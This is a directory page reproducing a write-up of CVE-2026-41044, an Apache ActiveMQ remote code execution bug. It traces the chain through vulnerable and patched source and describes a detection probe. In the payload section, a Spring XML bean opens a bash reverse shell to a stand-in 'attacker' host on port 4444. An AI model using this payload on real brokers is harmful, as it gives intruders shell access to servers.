Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41044 — Educational walkthrough and proof-of-concept for CVE-2026-41044, an Apache ActiveMQ RCE, with root-cause analysis and detection script. | Kitploit
Tools/GitHubGitHub/mrillicit/cve-2026-41044
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubmrillicit/cve-2026-41044

CVE-2026-41044

Educational walkthrough and proof-of-concept for CVE-2026-41044, an Apache ActiveMQ RCE, with root-cause analysis and detection script.

View Repository
34 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-41044

Note: Educational Purposes Only

From Advisory to RCA in an Afternoon: How AI Collapses N-Day Analysis

A short, honest walkthrough of CVE-2026-41044 in Apache ActiveMQ using the exact pre and post patch code.


CVE-2026-41044 was disclosed on April 24, 2026. It's a remote code execution bug in Apache ActiveMQ Classic, found by jsjcw, patched in 5.19.6 and 6.2.5. I didn't find it.

What I want to show is how someone who has never touched ActiveMQ before can produce a working exploit of an N-day in an afternoon, because the patched code is public, the unpatched code is public, and the gap between them is a git diff away.


Part 1: The workflow

The process is simple:

  1. Read the advisory, note the affected files, the CWE, and any function names mentioned.
  2. Check out the last vulnerable version and the first patched version side by side.
  • Ask a model to diff the relevant files and explain each change.
  • Reproduce the chain in a local lab and test end to end.
  • What used to take days now takes an afternoon. AI doesn't find bugs. It reads code and explains it as fast as you can ask questions. The expensive part is still you: deciding what's actually exploitable, where the real trust boundaries are, what needs verification. The model just walks call graphs faster than any human can.

    The bigger point: if your patching workflow assumes a week of analysis time per CVE, you're on the old timeline. git diff is the same length whether you're writing detection or writing exploits.


    Part 2: CVE-2026-41044

    What is ActiveMQ?

    ActiveMQ is a message broker. It sits in the middle and passes messages between applications. Think of it like a post office: apps drop off messages, ActiveMQ delivers them to the right recipient. It's widely deployed in enterprise Java stacks and exposes a web console and a REST management API called Jolokia at /api/jolokia/. Default credentials in many deployments are still admin:admin.


    The vulnerability in one sentence

    ActiveMQ let any authenticated user load a broker configuration from an arbitrary HTTP URL, which Spring would parse and immediately execute as Java objects - including ProcessBuilder - giving the attacker full OS command execution on the broker server.


    Background: the terms you need

    • Broker: the running ActiveMQ server. Identified by a name, default localhost.
    • Jolokia: an HTTP-to-JMX bridge at /api/jolokia/ that exposes management operations as a REST API. Any valid web console credential reaches it - not just admin.
    • vm:// transport: the in-process transport used when a client lives in the same JVM as the broker. It accepts a ?brokerConfig= query parameter pointing to a Spring XML config to bootstrap a broker from.
    • xbean:: a URL scheme that tells ActiveMQ to treat the URL as a Spring XML config and load it.
    • Spring beans / init-method: Spring reads XML and automatically creates Java objects (beans). The init-method attribute tells Spring to call a method on the bean the moment it is created - before anything else runs.
    • ProcessBuilder: a standard Java class that runs OS commands. ProcessBuilder.start() executes the command.

    The chain: five layers, real code

    Layer 1 - DestinationView builds a URL by string concatenation

    DestinationView.sendTextMessage() in 5.19.2 builds a broker connection URL by directly concatenating the broker name into a string:

    root@kitploit:~
    // 5.19.2 - DestinationView.sendTextMessage()
    String brokerUrl = "vm://" + broker.getBrokerName();
    ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
    

    If getBrokerName() returns localhost?brokerConfig=xbean:http://attacker/poison.xml, that entire string becomes a valid vm:// URI with an embedded query parameter. ActiveMQConnectionFactory hands it to VMTransportFactory, which lifts the brokerConfig parameter out and uses it as the broker's bootstrap configuration URL.

    The fix in 5.19.6 is one line:

    root@kitploit:~
    // 5.19.6 - DestinationView.sendTextMessage()
    URI brokerUrl = broker.getVmConnectorURI();
    

    String becomes URI - accidental concatenation is no longer possible. The value comes from a pre-constructed, immutable URI object derived from the broker's actual registered VM connector, not from a mutable name string.


    Layer 2 - The poisoning point in RegionBroker

    For Layer 1 to be exploitable, the broker name has to be poisoned first. BrokerService has always sanitized broker names:

    root@kitploit:~
    // BrokerService.setBrokerName() - present in BOTH versions
    private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
    brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
    

    That regex strips ? and = cleanly. The CVE existed because RegionBroker had its own separate setter that did not:

    root@kitploit:~
    // 5.19.2 - RegionBroker.java
    private String brokerName;           // mutable
    
    public void setBrokerName(String brokerName) {
        this.brokerName = brokerName;    // no validation at all
    }
    

    This is a classic confused deputy - two setters on related classes, only one of them sanitizes. A remote peer broadcasting a crafted BrokerInfo packet with a poisoned name field reaches RegionBroker.setBrokerName() directly, bypassing BrokerService's regex entirely.

    The fix in 5.19.6 deletes the setter, makes the field final, and initializes it once from the already-sanitized parent:

    root@kitploit:~
    // 5.19.6 - RegionBroker.java
    private final String brokerName;     // immutable
    
    public RegionBroker(BrokerService brokerService, ...) {
        this.brokerName = Objects.requireNonNull(
            brokerService.getBrokerName(), "The broker name cannot be null");
        // setBrokerName() is gone. There is no setter anymore.
    }
    

    You cannot bypass a sanitizer that has no parallel writer.


    Layer 3 - VMTransportFactory: deliberately unchanged

    VMTransportFactory.doCompositeConnect() is the function that takes the vm://...?brokerConfig=... URI, lifts the brokerConfig parameter, and calls BrokerFactory.createBroker(brokerURI). It is the trigger mechanism of the entire chain.

    Apache changed exactly nothing here.

    That choice tells you something about how they thought about the fix. VMTransportFactory is doing legitimate work - vm:// transports really are supposed to accept bootstrap configs. Patching it would have broken the intended design. Instead, Apache fixed the bug at the source (Layer 2: no poisoned name can be written) and at the sink (Layer 5: even if a poisoned URL got through, the resource resolver won't fetch it).

    Fix the layers where validation belongs, not the layer where the attacker happened to come through.


    Layer 4 - XBeanBrokerFactory hands the URI to Spring

    root@kitploit:~
    // XBeanBrokerFactory - same in both versions
    protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
        Resource resource = Utils.resourceFromString(uri);   // Layer 5
        return new ResourceXmlApplicationContext(resource) { ... };
    }
    

    ResourceXmlApplicationContext(resource) is where Spring does its thing - every bean's init-method runs on context construction, before ActiveMQ's BrokerService ever validates the result. There is no patch to make here. Spring's contract is correct as designed. The bug was that ActiveMQ relied on validation happening before instantiation, and Spring doesn't promise that ordering.


    Layer 5 - Utils.resourceFromString: the actual primitive fix

    This is the function that decided whether xbean:http://attacker/poison.xml should be fetched. In 5.19.2:

    root@kitploit:~
    // 5.19.2 - Utils.java
    public static Resource resourceFromString(String uri) throws MalformedURLException {
        if (new File(uri).exists()) {
            return new FileSystemResource(uri);
        } else if (ResourceUtils.isUrl(uri)) {
            return new UrlResource(ResourceUtils.getURL(uri));  // http? ftp? jar? no check.
        } else {
            return new ClassPathResource(uri);
        }
    }
    

    No protocol filter. http://, https://, ftp://, jar:// - all accepted silently.

    The 5.19.6 fix adds an explicit allowlist. Only file and classpath are permitted by default. Everything else throws before UrlResource is ever constructed:

    root@kitploit:~
    // 5.19.6 - Utils.java
    public static final String FILE_PROTOCOL      = "file";
    public static final String CLASSPATH_PROTOCOL = "classpath";
    
    public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
            throws MalformedURLException {
        // ...
        } else if (ResourceUtils.isUrl(uri)) {
            validateUrlAllowed(uri, allowedProtocols);           // throws if http/https/etc
            resource = new UrlResource(ResourceUtils.getURL(uri));
        }
    }
    
    static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
            throws URISyntaxException {
        if (allowedProtocols != null) {
            final String detectedProtocol = getProtocolFromScheme(uriString);
            if (!allowedProtocols.contains(detectedProtocol)) {
                throw new IllegalArgumentException("URL [" + uriString +
                        "] uses protocol '" + detectedProtocol + "' which is not allowed");
            }
        }
    }
    

    XBeanBrokerFactory now passes {file, classpath} as the allowlist. Even if a poisoned broker name somehow reached this function in a future version, http://attacker/poison.xml would throw before Spring ever saw it.


    What the exploit payload looks like

    root@kitploit:~
    <beans xmlns="http://www.springframework.org/schema/beans" ...>
      <bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>/bin/sh</value>
            <value>-c</value>
            <value>bash -i &gt;&amp; /dev/tcp/attacker/4444 0&gt;&amp;1</value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

    The moment Spring constructs the ApplicationContext, init-method="start" fires on the ProcessBuilder bean. ActiveMQ's BrokerService.start() validation runs afterward. By then the shell has already connected back.


    About the PoC and the two paths

    There are two ways to reach the vulnerable Utils.resourceFromString sink:

    The full production path (what the advisory describes):

    root@kitploit:~
    Remote peer sends crafted BrokerInfo packet
      -> RegionBroker.setBrokerName() stores poisoned name with no validation
        -> DestinationView.sendTextMessage() concatenates it into a vm:// URL
          -> VMTransportFactory lifts brokerConfig parameter
            -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
    

    The short path (what poc.sh uses):

    root@kitploit:~
    BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
      -> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
    

    The PoC takes the short path for a practical reason: the full path requires setting up a second ActiveMQ broker as a network peer that sends a crafted BrokerInfo packet to the target - a broker-to-broker interaction that needs a more complex lab setup. The short path works with a single broker and a basic HTTP server.

    Both paths hit the same vulnerable primitive. The PoC confirms the sink is exploitable and the CVE is present on the target. If you want to reproduce the exact entry point described in the advisory, you need to add the broker-to-broker step.


    Detection

    The PoC runs in detection-only mode by default. It probes two signals:

    Banner check - reads BrokerVersion via Jolokia:

    • < 5.19.6 or 6.0.0 - 6.2.4 = vulnerable range

    Behaviour check - calls addNetworkConnector("vm://probe") via Jolokia:

    • Patched (5.19.6+) returns: Transport scheme 'vm' is not allowed
    • Vulnerable returns a DiscoveryAgent scheme NOT recognized IOException

    The rejection on the patched version comes from BrokerView.validateAllowedUrl() - a separate deny-list added directly to the addNetworkConnector JMX operation in 5.19.6, not from Utils.resourceFromString. These are two independent fixes: one guards the JMX management surface, the other guards the resource loading primitive described in Layer 5. The behaviour probe tests the former.


    The fix summarised

    LayerVulnerable (5.19.2)Fixed (5.19.6)
    DestinationView"vm://" + brokerName string concatbroker.getVmConnectorURI() immutable URI
    RegionBrokermutable field, unsanitized setterfinal field, setter deleted, initialized from sanitized parent
    VMTransportFactoryunchangedunchanged (by design)
    XBeanBrokerFactorycalls Utils.resourceFromString(uri)calls Utils.resourceFromString(uri, allowedProtocols)
    Utils.resourceFromStringfetches any URL schemeallowlist enforced - only file and classpath by default

    References and credit

    • Apache advisory: CVE-2026-41044
    • Patched in ActiveMQ Classic 5.19.6 and 6.2.5
    • Vulnerability discovery: jsjcw
    • Sibling CVE for context: CVE-2026-34197 (Horizon3.ai)
    • Code in this post is verified directly from the 5.19.2 and 5.19.6 source trees
    • Guided by Varshit Modi, generated with AI assistance.
    Download Tool